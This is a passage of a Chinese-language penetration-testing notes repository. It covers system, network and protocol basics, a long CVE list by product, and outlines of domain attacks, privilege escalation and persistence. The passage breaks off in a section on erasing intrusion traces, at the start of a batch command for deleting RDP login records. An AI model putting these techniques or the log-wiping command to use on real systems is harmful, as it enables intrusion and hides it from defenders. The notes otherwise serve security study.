├── README.md ├── attach ├── ftpstatuscode.md ├── httpstatuscode.md ├── linux-command.md ├── msf-command.md ├── pentestingtools.md ├── portlist.md ├── protocolnumber.md ├── volatility2.md └── win-command.md └── e-books ├── 0day安全:软件漏洞分析技术(第2版).pdf ├── ATT&CK手册(修改版)-DeadEye安全团队.pdf ├── 汇编语言-王爽.pdf ├── 渗透测试流程图-思维导图.pdf ├── 白帽子讲web安全-吴翰清.pdf └── 网络安全词汇术语汇编 - v4.0.pdf /README.md: -------------------------------------------------------------------------------- 1 | # PenTestNote 2 | 一些渗透测试技巧的个人(Enomothem or 伊诺)记录笔记 3 | > 简洁是智慧的灵魂,冗长是肤浅的藻饰 ——莎士比亚 4 | 5 | > 谨记《中华人民共和国网络安全法》至上! 6 | 7 | > 致敬为国内安全事业贡献的人!致敬开源社区的贡献者!致敬每一个为生活而努力的人! 8 | 9 | > 学而不思则罔,思而不学则殆。 ——孔子 10 | 11 | 12 | 遵循规则: 13 | 14 | * 格式规范,先框架再细节,思路为主 15 | * 不提倡没用过时的技术或工具 16 | * 简洁、舒服、易读、合理、无误 17 | * 基础的东西只写思路,避免臃肿 18 | * 技术细节或不必要阅读内容放附页 19 | * 附页的格式规范整洁同主格式保持一致 20 | 21 | 备忘录: 22 | 23 | * [MD语法](https://github.com/zengold/markdow) 24 | * [书籍](https://github.com/enomothem/PentestingNote/tree/main/e-books) 25 | 26 | 速查: 27 | 28 | [ASCII](https://mp.weixin.qq.com/s/sZttiHd8z-VrVNRTDVaUcw) | 29 | [端口号](https://mp.weixin.qq.com/s/FBAsyRyIxlr4q4DHeuc3nQ) | 30 | [HTTP状态码](https://github.com/enomothem/PentestingNote/blob/main/attach/httpstatuscode.md) | 31 | [FTP状态码](https://github.com/enomothem/PentestingNote/blob/main/attach/ftpstatuscode.md) | 32 | [Windows命令](https://github.com/enomothem/PentestingNote/blob/main/attach/win-command.md) | 33 | [Linux命令](https://github.com/enomothem/PentestingNote/blob/main/attach/linux-command.md) | 34 | [msf命令](https://github.com/enomothem/PentestingNote/blob/main/attach/msf-command.md) | 35 | [volatility2](https://github.com/enomothem/PentestingNote/blob/main/attach/volatility2.md) 36 | 37 | 在线工具: 38 | 39 | [时间戳](https://tool.lu/timestamp) | 40 | [MAC厂商](https://mac.bmcx.com/) | 41 | 42 | 安全工具: 43 | 44 | [CMS](https://fp.shuziguanxing.com/#/) | 45 | [Subdomian](http://z.zcjun.com/) | 46 | [bypassCDN](https://17ce.com/) | 47 | [GoogleHacking](https://ght.se7ensec.cn) | 48 | [CTFTOOLS](http://tool.bugku.com/) 49 | 50 | 致谢: 51 | 52 | IT-Tangsan | Gu0st | SD007 | - 53 | 54 | ## 目录 55 | 56 | 57 | 58 | - [系统层面](#系统层面) 59 | - [基础](#基础) 60 | - [工具](#工具) 61 | - [记录](#记录) 62 | - [代码层面](#代码层面) 63 | - [web基础](#web基础) 64 | - [编程基础](#编程基础) 65 | - [网络层面](#网络层面) 66 | - [基础](#基础) 67 | - [工具](#工具) 68 | - [渗透测试](#渗透测试) 69 | - [信息收集](#信息收集) 70 | - [漏洞挖掘](#漏洞挖掘) 71 | - [内网和域](#内网和域) 72 | - [权限提升](#权限提升) 73 | - [权限维持](#权限维持) 74 | - [清理脚印](#清理脚印) 75 | - [撰写报告](#撰写报告) 76 | - [工具](#工具) 77 | - [应用测试](应用测试) 78 | - [工具](#工具) 79 | - [应急响应](#应急响应) 80 | - [思路](#思路) 81 | - [溯源](#溯源) 82 | - [工具](#工具) 83 | - [伊诺之令](#伊诺之令) 84 | - [Windows](#Windows) 85 | - [Linux](#Linux) 86 | - [工具](#工具) 87 | - [学习](#学习) 88 | - [逆向工程](#逆向工程) 89 | - [免杀](#免杀) 90 | - [学习](#学习) 91 | - [工具](#工具) 92 | - [后备能源](#后备能源) 93 | - [资源](#资源) 94 | - [武器](#武器) 95 | - [训练营](#训练营) 96 | - [夺旗](#夺旗) 97 | 98 | 99 | ## 系统层面 100 | ### 基础 101 | * Photoshop能力 102 | * Office(Word、Excel、PPT)能力 103 | * 文件管理能力 104 | * 效率优化能力 105 | ### 工具 106 | - 浏览器 107 | * Google Chrome 108 | * Mozilla Firefox 109 | * Microsoft Internet Explorer 110 | - CPU/内存/磁盘工具 111 | * [Core-Temp](https://core-temp.en.softonic.com/) - CPU温度检测 112 | * [diskgenius](https://www.diskgenius.cn/) - 数据恢复、硬盘分区 113 | - 工具 114 | * [Xshell](https://xshell.en.softonic.com/) - 远程连接工具 115 | * [Finalshell](https://www.hostbuf.com/) - 国产的远程连接工具 116 | * [Filezilla](https://trac.filezilla-project.org/) - FTP工具 117 | * [teamviewer](https://www.teamviewer.cn/cn/) - 远程连接工具 118 | * [向日葵](https://sunlogin.oray.com/) - 远程连接工具 119 | - 环境 120 | * python3 121 | * python2 122 | * java(JRE/Tomcat server) 123 | * vmware 124 | * ensp(depend:Wireshark、wincap4.1.3、VirtualBox-5.0-5.2) 125 | * phpstudy 126 | ### 记录 127 | * 附:[效率优化](https://enomothem.com/posts/793a.html) 128 | ### Windows机制 129 | > 这里是为了一些内网渗透或绕过做一个基础的补充,很重要。当然在平时的工作中,也常常遇到一些问题与此有关,如编译不了,工具打开不了,报错文件找不到的大概率就是因为环境变量的原因。 130 | 131 | #### 环境变量的优先级 132 | - 当前目录(局部) 133 | - 系统 PATH 134 | - 用户 PATH 135 | >[!TIP] 136 | > 如果环境变量PATH下找到多个路径,则判断优先级高的执行。 137 | 138 | #### DLL动态链接库优先级 139 | - 应用程序自身目录 140 | - C:\Windows\System32 141 | - C:\Windows\System 142 | - C:\Windows 143 | - 当前工作目录 144 | - 系统 PATH 环境变量中的目录 145 | - 用户 PATH 环境变量中的目录 146 | 147 | ### Linux机制 148 | > Linux的机制非常简单,你只需要记住一切皆文件就行了,所以在Linux中,你可以找到并可以看见你想知道如何东西,包括进程,设备都是文件。 149 | #### 第一位表示文件类型 150 | ``` 151 | d代表的是目录(directroy) 152 | -代表的是文件(regular file) 153 | s代表的是套字文件(socket) 154 | p代表的管道文件(pipe)或命名管道文件(named pipe) 155 | l代表的是符号链接文件(symbolic link) 156 | b代表的是该文件是面向块的设备文件(block-oriented device file) 157 | c代表的是该文件是面向字符的设备文件(charcter-oriented device file) 158 | ``` 159 | #### 权限 160 | - x executable 执行权限 1 161 | - w writeable 可写权限 2 162 | - r readable 可读权限 4 163 | #### 表示方法:八进制 164 | - rwx (可读写运行) 权限则将该权限位 设置 为 4 + 2 + 1 = 7 165 | - rw- (可读写不可运行)权限则将该权限位 设置 为 4 + 2 = 6 166 | - r-x (可读可运行不可写)权限则将该权限位 设置 为 4 +1 = 5 167 | #### 八进制权限的属组 168 | 三个8进制数字分别表示 拥有者 、群组 、其它组( u、 g 、o)的权限详情 169 | ``` 170 | -rw------- (600) 只有拥有者有读写权限。 171 | -rw-r--r-- (644) 只有拥有者有读写权限;而属组用户和其他用户只有读权限。 172 | -rwx------ (700) 只有拥有者有读、写、执行权限。 173 | -rwxr-xr-x (755) 拥有者有读、写、执行权限;而属组用户和其他用户只有读、执行权限。 174 | -rwx--x--x (711) 拥有者有读、写、执行权限;而属组用户和其他用户只有执行权限。 175 | -rw-rw-rw- (666) 所有用户都有文件读、写权限。 176 | -rwxrwxrwx (777) 所有用户都有读、写、执行权限。 177 | ``` 178 | #### 表示方法:二进制 179 | 只读、只写、只执行权限,可以用三位二进制数表示 180 | ``` 181 | # 位置存在权限则为1,否则为0 182 | r-- = 100 183 | -w- = 010 184 | --x = 001 185 | --- = 000 186 | # 二转八 187 | 权限 - 二 - 八 188 | rwx = 111 = 7 189 | rw- = 110 = 6 190 | r-x = 101 = 5 191 | r-- = 100 = 4 192 | -wx = 011 = 3 193 | -w- = 010 = 2 194 | --x = 001 = 1 195 | --- = 000 = 0 196 | ``` 197 | #### 二进制权限的属组 198 | ``` 199 | -rw------- = 110000000 = 600 200 | -rw-rw-rw- = 110110110 = 666 201 | -rwxrwxrwx = 111111111 = 777(最高权限) 202 | ``` 203 | #### 表示方法:Linxu十二位附加权限 204 | 附加权限包括SET位权限(suid,sgid)和粘滞位权限(sticky)。 205 | ``` 206 | 11 10 9 8 7 6 5 4 3 2 1 0 207 | S G T r w x r w x r w x 208 | 209 | -rw-r-Sr-- 的值为: 0 1 0 1 1 0 1 0 0 1 0 0 210 | -rwsr-xr-x 的值为: 1 0 0 1 1 1 1 0 1 1 0 1 211 | -rwsr-sr-x 的值为: 1 1 0 1 1 1 1 0 1 1 0 1 212 | -rwsr-sr-t 的值为: 1 1 1 1 1 1 1 0 1 1 0 1 213 | ``` 214 | #### 附加权限:八进制表示 215 | - 最高的一位八进制数就是suid,sgid,sticky的权值。 216 | - 第二位为 拥有者的权值 217 | - 第三位为 所属组的权值 218 | - 最后一位为 其他组的权值 219 | ``` 220 | -rw-r-Sr-- = 0 1 0 1 1 0 1 0 0 1 0 0 = 2644 221 | -rwsr-xr-x = 1 0 0 1 1 1 1 0 1 1 0 1 = 4755 222 | -rwsr-sr-x = 1 1 0 1 1 1 1 0 1 1 0 1 = 6755 223 | -rwsr-sr-t = 1 1 1 1 1 1 1 0 1 1 0 1 = 7755 224 | ``` 225 | ## 代码层面 226 | 代码是非常重要也是非常基础的能力,虽然OpenAI时代的到来,极大的简化了程序的复杂工作,但人类的创新能力远远比AI强,也许AI会越来越强,我们仍然可以借助AI更好的学习编程能力,当然,也不是说依赖AI,而是启发式的学习。 227 | 228 | 编程可以做的事情很多。开发一个程序,写个脚本,工具,写一个web程序,都是可以的。当然,也可以审计别人的代码,发现漏洞。 229 | ### Web基础 230 | * 前端:Html(光着身子)+css(衣服)+js(运动) 三件套 231 | * 后端:php、java、python2&3、js(js也可作为后端语言)、Ruby、go、rust 232 | * 数据库: mssql, mysql, mysql4, mysql5, oracle, pgsql, sqlite, sqlite3, access, firebird, maxdb, sybase 233 | ### 编程基础 234 | * c:大学的计科类基础,入门计算机的基石。 235 | * assembly:汇编语言,信息安全的基础。当然,没几个人学过,也没几个人感兴趣。是出大佬的方向。 236 | * python:一周入门,两周写脚本工具,三周成为脚本小子。 237 | * java:热门,应用广 238 | * C++:难 239 | * Rust:更难,以安全、高性能、内存小的特性优于其他语言。 240 | * go: 目前安全工具大多都用go实现了,比python的快一些,便捷易用。学起来也快,推荐。 241 | 242 | ### Web并发编程的演进 243 | 244 | 进程(Process):进程是系统进行资源分配和调度的基本单位,是操作系统结构的基础,也是程序的实体。每个进程都有它自己的地址空间,包括文本区域、数据区域和堆栈等。 245 | > 进程一般由程序、数据集合和进程控制块(PCB)三部分组成。 246 | 247 | 进程具有的特征: 248 | - 动态性:进程是程序的一次执行过程,是临时的,有生命期的,是动态产生,动态消亡的; 249 | - 并发性:任何进程都可以同其他进程一起并发执行; 250 | - 独立性:进程是系统进行资源分配和调度的一个独立单位; 251 | - 结构性:进程由程序、数据和进程控制块三部分组成。 252 | 253 | 线程具有的特征: 254 | - 线程是程序执行的最小单位,而进程是操作系统分配资源的最小单位; 255 | - 一个进程由一个或多个线程组成,线程是一个进程中代码的不同执行路线; 256 | - 进程之间相互独立,但同一进程下的各个线程之间共享程序的内存空间(包括代码段、数据集、堆等)及一些进程级的资源(如打开文件和信号),某进程内的线程在其它进程不可见; 257 | - 调度和切换:线程上下文切换比进程上下文切换要快得多。 258 | 259 | 线程(Thread):线程是程序执行流的最小单元,是CPU调度和分派的基本单位。一个标准的线程由线程ID、当前指令指针、寄存器集合和堆栈组成。 260 | 261 | 线程的生命周期 262 | - 创建:一个新的线程被创建,等待该线程被调用执行; 263 | - 就绪:时间片已用完,此线程被强制暂停,等待下一个属于它的时间片到来; 264 | - 运行:此线程正在执行,正在占用时间片; 265 | - 阻塞:也叫等待状态,等待某一事件(如IO或另一个线程)执行完; 266 | - 退出:一个线程完成任务或者其他终止条件发生,该线程终止进入退出状态,退出状态释放该线程所分配的资源。 267 | 268 | 协程(Coroutine):协程是一种轻量级的线程,也被称为用户态线程。它不是由操作系统内核所管理,而是完全由程序(用户)所控制。 269 | 270 | 协程具有的特征: 271 | - 线程的切换由操作系统负责调度,协程由用户自己进行调度,因此减少了上下文切换,提高了效率。 272 | - 线程的默认Stack大小是1M,而协程更轻量,接近1K。因此可以在相同的内存中开启更多的协程。 273 | - 由于在同一个线程上,因此可以避免竞争关系而使用锁。 274 | - 适用于被阻塞的,且需要大量并发的场景。但不适用于大量计算的多线程,遇到此种情况,更好实用线程去解决。 275 | 276 | 并发的演变: 277 | - 早期:单线程,同步服务器。 278 | - 多线程:引入以并发处理多个请求。 279 | - 线程池:通过重用线程优化资源使用。 280 | - 事件驱动模型:通过非阻塞I/O减少开销。node.js 281 | - 异步编程:在不使用复杂线程的情况下改进并发。async/await 282 | 283 | ## 网络层面 284 | 285 | ### 基础 286 | #### OSI参考模型及其相关协议RFC 287 | __应用层__ | Application Layer 288 | * [FTP](https://www.rfc-editor.org/rfc/rfc959.txt) - File Transfer Protocol 文本传输协议 RFC959 289 | * [SMTP](https://www.rfc-editor.org/rfc/rfc821.txt) - Simple Mail Transfer Protocol 简单邮件传输协议 RFC821 290 | * [HTTP1.0](https://www.rfc-editor.org/rfc/rfc1945.txt) - Hypertext Transfer Protocol version 1.0 超文本传输协议1.0 RFC1945 291 | * [HTTP1.1](https://www.rfc-editor.org/rfc/rfc2616.txt) - Hypertext Transfer Protocol version 1.1 超文本传输协议1.1 RFC2616、2617 292 | * [HTML](https://www.rfc-editor.org/rfc/rfc1866.txt) - Hypertext Markup Language version 2.0 超文本标记语言2.0 RFC1866 293 | * [RIP](http://www.rfc-editor.org/rfc/rfc1058.txt) - Routing Information Protocol 路由信息协议 RFC1058、1923 294 | * [RIP2.0](https://www.rfc-editor.org/rfc/rfc1387.txt) - Routing Information Protocol version 2.0 路由信息协议2.0 RFC1387 etc 295 | * [DNS](https://www.rfc-editor.org/rfc/rfc881.txt) - Domain Name System 域名解析系统 RFC881 etc 296 | * [SNMPv3](https://www.rfc-editor.org/rfc/rfc2271.txt) - Simple Network Management Protocol version 3.0 简单网络管理协议3.0 RFC 2271 297 | * [BGP](https://www.rfc-editor.org/rfc/rfc4271.txt) - BGP-Border Gateway Protocol 边界网关协议 RFC4271 TCP179 298 | 299 | __传输层__ | Transport Layer 300 | * [TCP](https://www.rfc-editor.org/rfc/rfc793.txt) - Transport Control Protocol 传输控制协议 RFC793 301 | * [UDP](https://www.rfc-editor.org/rfc/rfc768.txt) - User Datagram Protocol 用户数据报协议 RFC768 302 | 303 | __网络层__ | Netword Layer 304 | * Static Route and Default Route 305 | * [OSPF](https://www.rfc-editor.org/rfc/rfc1245.txt) - Open Shortest Path First 开放式最短路径优先 RFC1245、1246 306 | * [IP](https://www.rfc-editor.org/rfc/rfc791.txt) - Internet Protocol 网际协议 RFC791 307 | * [IPv6](https://www.rfc-editor.org/rfc/rfc2460.txt) - Internet Protocol Version 6 IPv6 RFC2460 308 | * [ICMP](https://www.rfc-editor.org/rfc/rfc777.txt) - Internet Control Message Protocol Internet控制报文协议 RFC777、792 309 | * [CIDR](https://www.rfc-editor.org/rfc/rfc1519.txt) - Classless Inter-Domain Routing 无分类域间路由选择 RFC1519、1520 310 | 311 | __数链层__ | Data Link Layer 312 | * [Ethernet_II](https://www.rfc-editor.org/rfc/rfc894.txt) - EthernetII Xerox制定 RFC894 313 | * [IEEE 802.3](https://www.rfc-editor.org/rfc/rfc1042.txt) - IEEE 802.3 IEEE 802委员会制定 RFC1042 314 | * [IS-IS](https://www.rfc-editor.org/rfc/rfc3358.txt) - Intermediate System to Intermediate System 中间系统到中间系统 RFC3358 315 | * [ARP](https://www.rfc-editor.org/rfc/rfc826.txt) - Address Resolution Protocol 地址解析协议 RFC826 316 | * [RARP](https://www.rfc-editor.org/rfc/rfc903.txt) - Reverse Address Resolution Protocol 反向地址转换协议 RFC903 317 | * [CSMA/CD](https://www.rfc-editor.org/rfc/rfc894.txt) - EthernetII Xerox制定 RFC894 318 | 319 | __物理层__ | Physical Layer 320 | * 传输媒介 321 | - 有线:同轴电缆、双绞线、光纤、跳线 322 | - 无线:卫星、无线、微波、激光、红外 323 | 324 | * 工具 325 | - 常用工具(剥线刀、网线钳、尼龙(标签)扎带、水晶头、网络测试仪\寻线仪、Console线) 326 | - 转接类(转接头、面板、各类转接器) 327 | 328 | * 双绞线 329 | 330 | | \ | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 331 | | :---- | :-----: | :----: | :----: | :----: | :----: | :----: | :----: | :----: | 332 | | T568A线序| 绿白 | 绿 | 橙白 | 蓝 | 蓝白 | 橙 | 棕白 | 棕 | 333 | | T568B线序(常用)| 橙白 | 橙 | 绿白 | 蓝 | 蓝白 | 绿 | 棕白 | 棕 | 334 | 335 | > 注意:协议和应用是不同的,协议是由国际互联网工程任务组维护的,全世界根据协议的标准制定不同的设备以及软件达到互通的目的,就如Xshell只是应用,ssh是协议;Chrome、Firefox是应用,HTTP是协议,注意区分。 336 | > 值得注意的是:RIP是在应用层的,因为它依赖UDP协议;BGP使用的TCP协议,所以也在应用层;OSPF依赖IP协议,在网络层之上,所以暂且归纳到网络层。很多协议都是跨层协议,具体不属于某一层,所以更需要理解为主,归纳主用于框架学习目的,并不代表实际归属。 337 | 338 | #### 协议缺陷及反向利用 339 | 340 | * ICMP:DDos攻击,主机探测 341 | * ARP:ARP欺骗 342 | * DHCP:DHCP欺骗、CVE-2019-0726 343 | 344 | #### 网络设备 345 | > 网络设备及部件是连接到网络中的物理实体。 346 | 347 | * 分线器 348 | * 轻量化智能设备 349 | * Hub 350 | * 网桥 351 | * 交换机 352 | * 路由器 353 | * PC/服务器 354 | * WAP 355 | * 打印机 356 | * 调制解调器 357 | 358 | #### 网络安全设备 359 | > NGAF/NGFW:下一代 Web 应用防火墙(Next Generation Application Firewall,通防火墙和下一代防火墙的区别),聚合了以下功能 360 | 361 | * IDS 362 | - HIDS:基于主机的入侵检测系统 363 | - NIDS:基于网络的入侵检测系统 364 | - HIDS+NIDS:基于混合数据源的入侵检测系统 365 | - IPS:入侵防御系统 366 | - AV:反病毒系统 367 | * EDR:主机安全管理\终端检测和响应 368 | 369 | > EDR 实时监测终端上发生的各类行为,采集终端运行状态,在后端通过大数据安全分析、机器学习、沙箱分析、行为分析、机器学习等技术,提供深度持续监控、威胁检测、高级威胁分析、调查取证、事件响应处置、追踪溯源等功能,可第一时间检测并发现恶意活动,包括已知和未知威胁,并快速智能地做出响应,全面赋予终端主动、积极的安全防御能力 370 | 371 | > 简单来说就是给内网环境中所有主机安装管理软件终端,可以在管理平台集中管理和数据分析过滤,基本所有安全厂商都有自己的 EDR 产品 372 | 373 | * 运维审计和管理平台(堡垒机) 374 | * DAS:数据库安全审计平台 375 | * LAS:日志审计安全平台 376 | * AC:上网行为管理系统 377 | * Honeypot:伪装欺骗系统(蜜罐、蜜网) 378 | * SIP:安全态势感知平台 379 | * GAP:网闸 380 | 381 | 这个算是让整套系统性能得到提升的灵魂了,定位为客户的安全大脑,是一个集检测、可视、响应处置于一体的大数据安全分析平台。产品以大数据分析为核心,支持主流的安全设备、网络设备、操作系统等多源数据接入,利用大数据、关联分析、告警降噪等技术,实现海量数据的统一挖掘分析 382 | 383 | #### 云网络 384 | > 云网络包括私有云和公有云以及混合云 385 | 386 | - 云主机安全 387 | - 云防火墙 388 | - 云堡垒机 389 | - 云蜜罐 390 | - 云 DDOS 防护 391 | 392 | #### IP协议号 393 | > 内容过于冗长,附:[IP协议号](https://github.com/enomothem/PentestingNote/blob/main/attach/protocolnumber.md) 394 | 395 | | Decimalism | Keywords | Protocol | 396 | | :-----| :---- | :---- | 397 | | 0 | HOPOPT | IPv6 逐跳选项 398 | | 1 | ICMP | Internet 控制消息 399 | | 2 | IGMP | Internet 组管理 400 | | 3 | GGP | 网关对网关 401 | | 4 | IP | IP 中的 IP(封装) 402 | | 5 | ST | 流 403 | | 6 | TCP | 传输控制 404 | | - | - | 405 | | 134-254 | 未分配 406 | | 255 | 保留| 407 | 408 | #### 端口号 409 | >内容过于臃肿,列举常见端口,并附端口列表 410 | 附:[端口号列表](https://github.com/enomothem/PentestingNote/blob/main/attach/portlist.md) 411 | 412 | | Decimalism | Protocol | Vulnerability | 413 | | :-----| :---- | :---- | 414 | | 21 | FTP | 弱口令 415 | | 22 | SSH | 弱口令 416 | | 23 | Telnet | 弱口令 417 | | 25 | SMTP | 邮件伪造 418 | | 53 | DNS | RCE、劫持、投毒 419 | | 80/443 | HTTP/HTTPS | RCE 420 | | 139 | SMB | 嗅探 421 | | 445 | Windows shares | ms17-010、ms08-067 422 | | 3306 | Mysql | 弱口令 423 | 424 | ### 工具 425 | * [Wireshark](https://www.wireshark.org/) - 免费开源的流量包分析工具 426 | * [NetworkMiner](http://www.netresec.com/?page=NetworkMiner) - 网络取证分析工具 427 | * [tcpdump](http://www.tcpdump.org/) - 功能强大的命令行流量包分析工具,自带的libpcap用于网络流量捕获的便携式C/C++库 428 | * [Paros](http://sourceforge.net/projects/paros/) - 基于Java的HTTP/HTTPS代理用于评估Web应用程序漏洞工具 429 | * [pig](https://github.com/rafael-santiago/pig) - Linux下伪造流量包工具 430 | * [ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) - ZAP是用于发现Web应用程序中漏洞易于使用的集成式渗透测试工具 431 | * [mitmproxy](https://mitmproxy.org/) - 基于HTTP具有交互式控制界面并支持SSL中间代理的工具 432 | * [mitmsocks4j](https://github.com/Akdeniz/mitmsocks4j) - 基于Java支持中间SOCKS代理工具 433 | * [nmap](https://nmap.org/) - Nmap安全扫描工具 434 | * [Aircrack-ng](http://www.aircrack-ng.org/) - 用于破解802.11 WEP和WPA-PSK密钥工具 435 | * [Charles Proxy](https://charlesproxy.com) - 用于查看截获的HTTP和HTTPS/SSL实时流量的跨平台图形化用户界面Web调试代理工具 436 | * [Nipe](https://github.com/GouveaHeitor/nipe) - 使Tor网络成为默认网关的脚本 437 | 438 | 439 | ## 渗透测试 440 | > 这里只提供思路,具体的学习还需深入,扎根最基础的学习中去,才能明白千篇一律的工具是怎么实现的。 441 | ### 信息收集 442 | * 真实IP地址、域名、子域名、端口、目录、后台、泄露信息、CMS、WAF 443 | * Google、Baidu、Yandex、社交平台 444 | * 钓鱼、社工、客服、蜜罐 445 | ### 漏洞挖掘 446 | * 浏览网站,看看网站规模,功能,特点等 447 | * 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。 448 | * XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解。 449 | * 任意文件上传/下载,越权访问,未授权访问,目录遍历,文件 包含,服务器漏洞检测,最后使用漏扫工具等。 450 | * 逻辑漏洞类。支付,登入,越权,验证,重放攻击(短信轰炸)等 451 | #### 中间件组件相关漏洞 452 | - ActiveMQ:未授权、ActiveMQ Jolokia REST API 未授权访问漏洞(CVE-2024-32114) 453 | - Apache:Apache HTTPD 换行解析漏洞(CVE-2017-15715)、Apache多后缀解析漏洞(apache_parsing_vulnerability)、Apache HTTP 路径穿越漏洞(CVE-2021-41773)、Apache HTTP 路径穿越漏洞(CVE-2021-42013)、Apache SSI 远程命令执行漏洞 454 | - Atlassian Confluence 路径遍历漏洞(CVE-2024-21677) 455 | - BIG-IP Next Central Manager SQL注入漏洞(CVE-2024-26026) 456 | - cas:cas-4.1.x-4.1.6 反序列化漏洞(利用默认密钥)、cas-4.1.7-4.2.x 反序列化漏洞(需要知道加密key和签名key) 457 | - CheckPoint Gateway 文件读取漏洞(CVE-2024-24919) 458 | - CrushFTP 认证绕过模板注入漏洞(CVE-2024-4040) 459 | - Confluence:登陆后代码执行漏洞(CVE-2024-21683)、CVE-2015-8399任意文件读取、CVE-2021-26084远程代码执行、CVE-2021-26085受限的文件读取、CVE-2022-26134 OGNL注入命令执行、 路径遍历漏洞(CVE-2024-21677) 460 | - Docker:未授权 461 | - Drupal:SQL注入漏洞(CVE-2014-3704)、远程代码执行漏洞(CVE-2018-7600) 462 | - dubbo:Apache dubbo反序列化漏洞分析(CVE-2023-29234) 463 | - Elasticsearch:未授权、命令执行漏洞(CVE-2014-3120)、代码执行漏洞(CVE-2015-1427)、目录穿越漏洞(CVE-2015-5531)、目录穿越漏洞(CVE-2015-3337) 464 | - fastjson:Fastjson 反序列化漏洞 <=1.2.24、fastjson<=1.2.47反序列化、fastjson<=1.2.62、fastjson<=1.2.66 基于黑名单绕过 465 | - Fckeditor:文件上传 466 | - HFS 2.x 远程代码执行漏洞(CVE-2024-23692) 467 | - IIS:短文件名泄漏 468 | - ImageMagick:任意文件读取漏洞(CVE-2022-44268) 469 | - log4j:CVE-2021-44228远程代码执行 470 | - Ivanti EPM EventHandler SQL注入致命令执行漏洞(CVE-2024-29824) 471 | - Jackson:RCE(CVE-2020-36180) 472 | - Jboss:后台文件上传漏洞CVE-2007-1036,CVE-2010-0738,CVE-2006-5750;反序列化命令执行CVE-2015-7501,CVE-2017-7504,CVE-2017-12149,CVE-2013-4810。 473 | - Jeecg-Boot:jmreport/queryFieldBySql接口RCE、/jmreport/testConnection接口RCE、jmreport/loadTableData接口RCE 474 | - JumpServer:RCE(CVE-2024-29201、CVE-2024-29202) V3.0.0<= Jumpserver <= V3.10.6、未授权访问漏洞(CVE-2023-42442) 3.0.0 <= JumpServer <= 3.5.4 3.6.0 <= JumpServer <= 3.6.3、密码重置漏洞(CVE-2023-42820) 受影响的版本:v2.24 - v3.6.4 475 | - Kindeditor:文件上传 476 | - Memcache:未授权 477 | - Nexus:Nexus Repository Manager 路径遍历漏洞(CVE-2024-4956) 478 | - OFBiz 目录遍历致代码执行漏洞(CVE-2024-36104,CVE-2024-32113) 479 | - Palo Alto Networks PAN-OS GlobalProtect 命令注入漏洞(CVE-2024-3400) 480 | - pgAdmin4 <= 8.4 后台远程命令执行漏洞 (CVE-2024-3116) 481 | - PHP:CGI Windows平台远程代码执行漏洞(CVE-2024-4577) 482 | - Progress Flowmon 命令注入漏洞(CVE-2024-2389) 483 | - Redis:未授权 484 | - Serv-U:Serv-U FTP 目录遍历文件读取漏洞(CVE-2024-28995) 485 | - shiro:bypass shiro <= 1.4.1、bypass shiro <= 1.5.2 (CVE-2020-1957)、bypass shiro <= 1.5.3 (CVE-2020-11989)、Shiro rememberMe反序列化漏洞(Shiro-550)、Shiro Padding Oracle Attack(Shiro-721) 486 | - struts2:s2-003、S2-005、S2-013、s2-016、S2-020、S2-045、S2-066 487 | - spring:spring-actuator(jolokia、snake-yaml、h2-hikariCP、eureka)、spring-cloud-config-server(CVE-2019-3799)、spring-cloud-config-server(CVE-2020-5405)、spring-cloud-config-server(CVE-2020-5410)、spring-session-data-redis RCE、Spring Cloud GateWay RCE(CVE-2022-22947)、spring-messaging(CVE-2018-1270) 488 | - SpringBlade:框架JWT认证缺陷漏洞CVE-2021-44910 489 | - Spring Security OAuth2:RCE(CVE-2018-1260) 490 | - Thinkphp:TP - 6.0.13-Pearcmd 、TP - 6.0.1 Session任意文件操作、TP - 5.0.23-RCE x Getshell、TP - 5.0.23-RCE、TP - 5.0.22/5.1.29-RCE x Getshell、TP - 5.0.22/5.1.29-RCE、TP - 5.0.9-SQLi、TP - 2.x-RCE x Getshell 491 | - Tomcat:弱口令、CVE_2017_12615 / CVE_2017_12617、样例Example目录、CNVD-C-2019-48814文件包含、com.threedr3am.bug.tomcat.ajp 任意文件读取和jsp渲染RCE CVE-2020-1938 492 | - Weblogic:CVE_2017_10271、弱口令、SSRF、CVE-2019-2725等反序列化命令执行居多 493 | - Wicket:XSLT 代码执行漏洞(CVE-2024-36522) 494 | - XZ-Utils 5.6.0/5.6.1版本后门风险(CVE-2024-3094) 495 | - Zabbix:SQL注入(CVE-2024-22120) 496 | - Zeppelin shell 代码注入漏洞(CVE-2024-31861) 497 | 498 | #### CN 499 | 500 | - 大华DSS监控系统attachment_clearTempFile.action接口存在SQL注入漏洞 501 | - 魔方网表ERP存在文件上传漏洞 502 | 503 | #### CMS 504 | 505 | - Mura CMS processAsyncObject SQL注入漏洞(CVE-2024-32640) 506 | 507 | #### 致命漏洞: 508 | 509 | - 永恒之蓝(CVE-2017-0146) 510 | - log4j漏洞远程代码执行(CVE-2021-44228) 511 | - Windows Wi-Fi驱动程序远程代码执行漏洞(CVE-2024-30078) 512 | - OpenSSH 远程代码执行漏洞(CVE-2024-6387)<--需稳定攻击两周左右 513 | 514 | #### 进阶 515 | * Payload清单:https://github.com/EdOverflow/bugbounty-cheatsheet 516 | * SQL注入bypass:https://github.com/Junehck/SQL-injection-bypass 517 | * web攻防学习:https://github.com/LyleMi/Learn-Web-Hacking 518 | 519 | 520 | ### 内网和域 521 | * 内网收集。用户、进程、端口、服务、补丁、共享、备忘录、密码、无线信息。 522 | * 横向渗透。注意开放端口。psexec,smbexec 523 | * 无文件攻击。内存马、恶意文档、恶意脚本、平地起飞。 524 | * 域渗透。收集域内信息,寻找域控,SPN扫描,Kerberos漏洞,抓取哈希,域账号破解,获取黄金票据,AD持久化,Exchange利用等 525 | * 权限维持及持久化。端口复用,进程注入,后门隐藏,Windows用户隐藏(影子用户),定时任务,注册表自启项,Office,文件关联等。 526 | 527 | ### 权限提升 528 | * Linux:内核漏洞(脏牛、下水管)、计划任务、SUID、错误配置、密码泄露等。 529 | * Windows:BypassUAC、令牌窃取、内核溢出漏洞等 530 | 531 | 提权漏洞集 532 | * https://github.com/lyshark/Windows-exploits 533 | * https://github.com/SecWiki/windows-kernel-exploits 534 | 535 | ### 权限维持 536 | * Linux:硬链接、Cron 537 | * Windows:后门 538 | * Web:Webshell 539 | ### 清理脚印 540 | a 3389登陆记录清除 541 | ``` 542 | @echo off 543 | @reg delete 